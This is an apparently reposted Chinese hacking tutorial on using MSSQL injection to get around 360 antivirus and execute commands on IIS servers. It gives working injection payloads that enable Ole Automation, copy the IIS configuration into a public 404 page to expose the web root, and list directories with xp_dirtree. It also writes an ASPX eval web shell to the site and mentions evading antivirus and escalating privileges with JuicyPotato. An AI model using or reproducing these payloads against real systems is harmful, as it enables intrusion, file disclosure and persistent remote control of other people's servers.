【重磅!】Mssql注入绕过360执行命令

作者: 黑客网 分类: 黑客知识 发布时间: 2022-05-26 14:21
《Mssql注入绕过360执行命令》 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。  


文章来源:奇安信攻防社区(Macchiato)

原文地址:https://forum.butian.net/share/1498


0x01 废话

有时候mssql注入会碰到-os-shell执行不了命令的情况,有可能是因为权限不够不能开启xp_cmdshell,还有可能就是杀软拦截了


常见的只有360会拦截,如果被拦截了就是下面这样的

Mssql注入绕过360执行命令


0x02 拦截原因

这里用上x64dbg在CreateProcessA和CreateProcessW打上断点,MSSQL调用的CreateProcessW

Mssql注入绕过360执行命令


可以看到xp_cmdshell是直接使用cmd /c来执行命令的,这拦截的原因和之前的php很相似,不过这里没有php那么高的操作空间


0x03 写webshell到网站根目录

一般来说都是IIS+MSSQL的搭配,MSSQL可以用sp_oacreate来执行一些读写功能,因为不调用cmd所以360不会拦截,前提是需要知道网站的根目录


如果权限够高可以直接将IIS配置文件404页面,首先要开启sp_oacareate这个存储过程

exec sp_configure 'show advanced options', 1;RECONFIGURE exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
然后用sp_oacreate创建scripting.filesystemobject对象调用copyfile这个方法来实现复制文件 declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:WindowsSystem32inetsrvconfigapplicationHost.config' ,'C:inetpubcusterrzh-CN404.htm';

这里的配置文件是IIS7的,路径是固定的,404的路径也是固定的,只要权限够高就可以复制过来


当然如果是国外语言路径可能会变化

Mssql注入绕过360执行命令

?user_id=1;  exec sp_configure 'show advanced options', 1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; declare @o int; exec sp_oacreate 'scripting.filesystemobject', @o out; exec sp_oamethod @o, 'copyfile',null,'C:WindowsSystem32inetsrvconfigapplicationHost.config' ,'C:inetpubcusterrzh-CN404.htm';
然后访问一个不存在的页面就可以找到网站根目录

Mssql注入绕过360执行命令


权限低的话可以用xp_dirtree来找就是有点慢 ?user_id=1;  CREATE TABLE tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
先创建一个tmp表然后将xp_dirtree的结果输出到tmp中

Mssql注入绕过360执行命令


在网页中需要使用注入查表得到结果,如果直接查询可能会报错需要转换一下 ?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS) from FoundStone_Bank.dbo.tmp),null,null

Mssql注入绕过360执行命令


MSSQL和MYSQL不同没有LIMIT需要用where来过滤不想要的结果 ?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS)  from FoundStone_Bank.dbo.tmp WHERE DIR not in (SELECT TOP 1 dir FROM FoundStone_Bank.dbo.tmp)),null,null

类似这样,前面的top 1不用改,where中的top 从0开始增长就可以,sqlmap也是同种方式


虽然xp_dirtree的方法繁琐但是还是可以有效的找到绝对路径,要么网站和数据库不在同个地方这就办法了

select host_name();      //主机名 select @@servername;     //服务器名 //如果相同则代表数据库和web在同一台机器上面

得到根目录后用Scripting.FileSystemObject中CreateTextFile和WriteLine来实现写入webshell,注意有拦截的话上面肯定有360webshell要免杀

?user_id=1;  declare @f int,@g int exec sp_oacreate 'Scripting.FileSystemObject',@f output EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:inetpubwwwrootshell.aspx',1 EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

拿到shell了基本是IIS的用户,这里本来可以直接通过juicypotato提权,但是360不知道从什么时候开始加上了CrteateProcesWithToken的hook就提权不了了。


整理了一下想着mssql本来就是高权限的,只要想办法用mssql来执行木马就可以了


0x04 权限提升

说明一下只有mssql2005是直接高权限,这次的测试环境搭建的时候使用管理员启动的mssql,所以mssql实际的权限取决于网站管理员

如果觉得《Mssql注入绕过360执行命令》您有用,请随意打赏。您的支持将鼓励我继续创作!

标签云